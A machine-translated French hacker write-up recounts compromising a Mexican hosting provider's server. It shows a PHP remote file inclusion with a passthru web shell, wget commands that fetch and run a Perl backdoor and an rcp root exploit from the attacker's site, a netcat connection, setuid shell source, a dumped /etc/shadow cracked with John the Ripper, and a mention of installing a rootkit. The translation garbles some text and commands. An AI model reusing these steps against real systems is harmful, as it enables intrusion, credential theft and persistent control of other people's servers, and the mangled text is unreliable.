This page has been robot translated, sorry for typos if any. Original content here.

Rooter sur un hébergeur


Intro.
J'ai décidé de décrire ce hack particulier, car il s'est produit il y a un certain temps (d'ailleurs, à ce moment - 23/01/03 - le serveur est toujours entre les mains de DHG, pour ainsi dire), on m'a également demandé de décrire un hack intéressant.
Je ne veux pas que cette histoire soit un guide pour les atrocités des autres, nous faisons donc intentionnellement des erreurs / inexactitudes (que tout utilisateur avancé remarquera cependant). Eh bien, aussi pour mâcher des choses élémentaires, telles que "les équipes Linux aussi dans quel endroit chercher comment compiler les divisions", nous ne le ferons pas. Alors allons-y.

Tour # 1: à distance.
En général, l'objectif initial était le portail Linux mexicain www. ***. Com, qui était autrefois hébergé par ce fournisseur.
Tout d'abord, il a fallu trouver l'axe sur lequel se situe ce portail. Cependant, le moignon est clair que le site sur Linux'e ne peut pas se bloquer sur Windows. Sur http était: "Apache / 1.3.26 (Unix) (Red Hat / Linux) Chili! Soft-ASP / 3.6.2 PHP / 4.1.2", la bannière ftp disait:
serveur FTP managedhosting (version 6.5 / OpenBSD, port linux 0.3.2) prêt.
Nous n'avons pas commencé à analyser les ports, les cgi-bugs et tout autre non-sens - plus précisément, j'ai décidé de le reporter pour plus tard. Eh bien, je ne voulais pas non plus couvrir essno. Ainsi, dans la bannière ftp, l'expression "hébergement" a clignoté! Après avoir marqué sur ripnet, nous avons décidé de nous tourner directement vers ip, qui était www. ***. Com. Il m'a amené sur le site "managedhosting.dialtoneinternet.com.mx", qui était évidemment son hébergeur. Plus tard, une bruteforce manuelle courte a été calculée sur un véritable site d'hébergement: dialtoneinternet.com.mx (www.dialtone.com).
Sur ce point, nous avons décidé de nous arrêter momentanément et de revenir également sur le site pour être cassé. Il se tenait sur le moteur PHP phpWebSite d'une version inconnue. Ce prochain clone de php-nuke'a ne différait pas en mettant un accent particulier sur la sécurité. Toutes les versions de PWS jusqu'à 0.8.2 (même marquées comme stables) avaient une vulnérabilité de la classe 'Php source injection'. Pour ceux qui ne disent rien, consultez l'article de r4ShRaY sur cette vulnérabilité. Le reste, lisez la suite. Voici donc une tranche des sors du fichier modsecurity.php:

<? php
global $ inc_prefix;
if (! $ inc_prefix) {
...
}
...
include_once ($ inc_prefix. "htmlheader.php");
?>

À mon humble avis, tout devrait être clair pour tout le monde ici. En exécutant ce script de manière similaire:
http: //www.***.com/modsecurity.php? inc_prefix = http: //www.dhgroup.org
Le fichier htmlheader.php qui se trouve sur notre site sera exécuté jusqu'à présent avec undefined_Rights. La seule chose qui m'a dérangé, c'est que le site attaqué avait une version corrigée ou plus récente (après tout, ce n'était pas une sorte de `` page d'accueil de Vasya '', mais un portail pour kewl-Linux-userz).
En général, nous avons créé le fichier htmlheader.php sur notre site avec ce contenu:

<? passthru ("$ cmd")?>

Puis je suis allé à l'adresse:
modsecurity.php? inc_prefix = http: //www.dhgroup.org&cmd=ls
Ce que nous avons obtenu dans l'annuaire www. # Remarque plus loin, je griffonnerai toutes les commandes sans "...? inc_prefix = http: // ..."!

Tour # 2: local.
> echo hi> kewl.txt; cat kewl.txt
Le navigateur a répondu à ces deux commandes avec un écran blanc comme neige vide. Cela a indiqué que je n'avais pas d'autorisations d'écriture dans le répertoire www. C'est-à-dire pour exprimer sur la défiguration si tôt. Eh bien, avant de prendre toute autre mesure, il était nécessaire de collecter plus d'informations sur le système. L'occupation principale que nous avons montée sur le fichier httpd.conf:
> cat /etc/httpd/conf/httpd.conf
De là, nous avons arraché la version frontale (en passant, l'en-tête http du `` serveur '' était silencieux sur FrontPage étant disponible) ainsi que la route vers les répertoires du site Web www: dialtoneinternet.com.mx (un fournisseur d'hébergement cassé), stormarketing.com, altavistablinds.com, parigitown.com, eh bien, également à quelques grandes ressources:
# -FrontPage- version = 4.0
##
## httpd.conf - Fichier de configuration du serveur HTTP Apache
##
...
<VirtualHost 66.33.62.88>
<Répertoire / home / admin / www / serversecure>
Options toutes
AllowOverride All
</Directory>
ServerName dialtoneinternet.com.mx
ServerAlias ​​www.dialtoneinternet.com.mx
DocumentRoot / home / admin / www
Journaux ErrorLog / error_log
TransferLog logs / transfer_log
Groupe personne
ScriptAlias ​​/ cgi-bin / / home / admin / www / cgi-bin /
</VirtualHost>
...
Bien sûr, il n'y a pas assez de droits pour les désamorcer, MAIS ils sont assez pour voir le service frontal.pwd (le cas échéant) de ces sites, avec toutes les conséquences qui en découlent;) Nous avons laissé cette opportunité pour cette aventure, si je le faisais il ne sera en aucun cas possible d'augmenter leurs privilèges.
De plus, pour l'intérêt, nous avons introduit:
> netstat -a
Ce que j'ai reçu (# - mes tags):
  Connexions Internet actives (serveurs et établis)
 État local de l'adresse étrangère de l'adresse locale Proto Recv-Q Send-Q 
 tcp 0 1 66.33.62. *: 2114 by.ru:www LAST_ACK # (1)
 tcp 0 0 66.33.62. *: www 62.141.75.226 {116 ÉTABLI 
 tcp 0 0 *: www *: * ÉCOUTER 
 tcp 0 0 *: imap2 *: * ÉCOUTER 
 tcp 0 0 *: pop3 *: * ÉCOUTER 
 tcp 0 0 *: ftp *: * ÉCOUTER 
 tcp 0 0 *: 81 *: * ÉCOUTER 
 tcp 0 0 *: https *: * ÉCOUTER # (2)
 tcp 0 0 managedhosting.d: domaine *: * ÉCOUTER 
 tcp 0 0 managedhosting2.:domain *: * LISTEN 
 tcp 0 0 spacebattles.net:domain *: * ÉCOUTER 
 tcp 0 0 66.33.62. *: domaine *: * ÉCOUTER 
 tcp 0 0 localhost.locald: domain *: * ÉCOUTER 
 tcp 0 0 *: smtp *: * ÉCOUTER 
 tcp 0 0 *: mysql *: * ÉCOUTER 
 tcp 0 0 *: casp3001 *: * ÉCOUTER 
 tcp 0 0 *: casp3000 *: * ÉCOUTER 
 tcp 0 0 *: casp5105 *: * ÉCOUTER 
 tcp 0 0 *: casp5103 *: * ÉCOUTER 
 tcp 0 0 *: casp5104 *: * ÉCOUTER 
 tcp 0 0 *: 1581 *: * ÉCOUTER 
 tcp 0 0 *: 1024 *: * ÉCOUTER 
 tcp 0 0 *: ssh *: * LISTEN # (3)
 udp 0 0 *: 4320 *: * 
 udp 0 0 managedhosting.d: domaine *: * 
 udp 0 0 managedhosting2.:domain *: * 
 udp 0 0 spacebattles.net:domain *: * 
 udp 0 0 66.33.62. *: domaine *: * 
 udp 0 0 localhost.locald: domaine *: * 
 brut 0 0 *: udp *: * 7 
 brut 0 0 *: tcp *: * 7 
 brut 0 0 *: icmp *: * 7 
 brut 0 0 *: tcp *: * 7 
 Sockets de domaine UNIX actifs (serveurs et établis)
 Proto RefCnt Flags Type State I-Node Path
 unix 0 [ACC] STREAM LISTENING 552166 /home/httpsd/cache/ssl.socket
 unix 0 [ACC] STREAM LISTENING 2087 /tmp/mysql.sock
 unix 4 [] DGRAM 290 / dev / log
 unix 0 [ACC] ECOUTE DE FLUX 549144 / var / run / ndc
 unix 0 [] STREAM 565939 
 unix 0 [] DGRAM 555692 
 unix 0 [] DGRAM 549142 
 unix 0 [] DGRAM 3193 
 unix 0 [] DGRAM 303 
(1) - c'est nous =)
(2) - la présence de ssl exprime généralement l'échange d'informations privées avec le serveur (cc, par exemple). Bien que, pour l'hébergement, c'est dans la routine des choses.
(3) - le voici! Il vous sera utile plus tard.
Ici aussi, les ports n'avaient pas du tout besoin d'être scannés :)
Ensuite, il a fallu commencer des actions spécifiques, ou plutôt, découvrir au moins presque la version de la casquette plus, sur cette base, déjà danser. Donc, pour ceux qui ne le savent pas, certaines (sinon toutes) les distributions Linux laissent le fichier "* -release" (où * est le nom de la distribution: mandrake-release, cobalt-release ...) dans le répertoire / etc / les administrateurs n'ont pas non plus l'envie de l'éliminer.
> cat / etc / redhat-release:
Red Hat Linux version 6.1 (Cartman)
Obaaaaaa, je dois dire que nous ne nous attendions pas :) Tout le reste bla bla était une question de technologie. Pour atteindre la racine tant attendue, nous avons décidé d'utiliser la vulnérabilité RedHat dans rcp.

Red Hat 6.2: trou de racine rcp possible
En fait, la vulnérabilité a été trouvée dans le cap 6.2. Environ 6.1 dans un article d'Andrew Griffiths et Tlabs n'a pas dit un mot. En espérant bonne chance, nous avons introduit:
> ls -alF `qui rcp`
-rwsr-xr-x 1 racine root 14868 30 juil 1999 / usr / bin / rcp *
Oups! Bien sûr, rcp possède une chambre pour être! C'est déjà bien :) Je me suis rempli de "rcpsploit.pl" de tlabs plus, après avoir étudié la source, je me suis arrêté. Je vais peut-être expliquer comment fonctionne ce sploit - cela vous aidera peut-être à comprendre l’essence de la vulnérabilité du problème qui est également apparu.
Ainsi, il crée 2 fichiers:
/tmp/shell.c---------------------

#include
#include
int main ()
{
setuid (0);
setgid (0);
execl ("/ bin / sh", "sh", 0);
retourner 0;
}


hé ------------------------------
Sploit écrit par tlabs, merci à Andrew Griffiths pour le rapport de bug

Ensuite, grâce au rcp réussi, le sploit compile shell.c agit également comme chmod comme ceci avec chmod. Voilà! Nous commençons le shell compilé et nous obtenons un shell avec uid = 0, gid = 0. Mais à quoi sert ce shell si nous exécutons des commandes via un serveur web? : - /
Il était seulement permis de forcer ce sploit à fonctionner sur un shell "normal".
Eh bien, avez-vous besoin d'une coquille? Il le sera! Il y a longtemps dans mes archives Warez, un petit cheval de Troie d'orge perlé était en train de recueillir de la poussière, que nous avons également décidé d'utiliser:
> wget -o = / tmp / .tmp.pl http://www.dhgroup.org/exp/backhole.pl
> chmod 755 /.tmp/tmp.pl
> perl /tmp/.tmp.pl
Ensuite sur votre ordinateur:
> nc ***. com 51015
Toucher:
> cd / tmp
> wget -c http://www.dhgroup.org/exp/rcpsploit.pl
> chmod 755 rcpsploit.pl; perl rcpsploit.pl
Ok, trop facile, nous allons simplement lancer un shell, espérons que la merde s'est bien passée :)
> id
uid = 0 (root) gid = 0 (root) groups = 0 (root), 1 (bin), 2 (daemon), 3 (sys), 4 (adm), 6 (disk), 10 (wheel)
C'est tout :) Eh bien, aussi le dernier:
> chat / etc / shadow
racine: ###: 11961: 0: 99999: 7: -1: -1: 134549964
bac: *: 10925: 0: 99999: 7 :::
démon: *: 10925: 0: 99999: 7 :::
adm: ###: 11577: 0: 99999: 7: -1: -1: 134549852
... etc ...
JTR comptait 977 mots de passe%) Pour accélérer la recherche, nous avons introduit:
john -i: all -u: ombre racine
Environ 8 heures et ... le moment tant attendu:




Ensuite, j'ai téléchargé lrk là-bas, plusieurs datapipes et bnc aussi ... bien que ce soit une histoire complètement différente ....

Ce qui a été utilisé lors du piratage:
Netscape v.xz
secureCRT 3.1
Netcat
Jean l'éventreur
backhole.pl
rcpsploit.pl
Cerveaux
PacketStormSecurity

Conclusions \ remarques \ commentaires:
1. Si tel ou tel serveur s'appelle lui-même un fournisseur d'hébergement ou un portail Linux, cela ne signifie pas qu'il est bien protégé.
2. Dans le processus de piratage, vous ne devez pas particulièrement déclarer votre adresse IP (ce sera un article à l'avenir).
3. Lors du piratage, le logiciel dit de "piratage" n'a presque jamais été utilisé.
4. RH6. * - ne mangez pas de bourdonnement :)

PS IMHO, le lecteur peut avoir l'impression que j'ai eu de la chance et le hack général a pris quelques minutes .. Ce n'est pas le cas. Il y avait des moments où les mains tombaient, à quel moment je voulais me battre la tête contre le mur.

Publié par: D4rkGr3y


Matériel publié avec la permission de DHGROUP (http://www.dhgroup.org)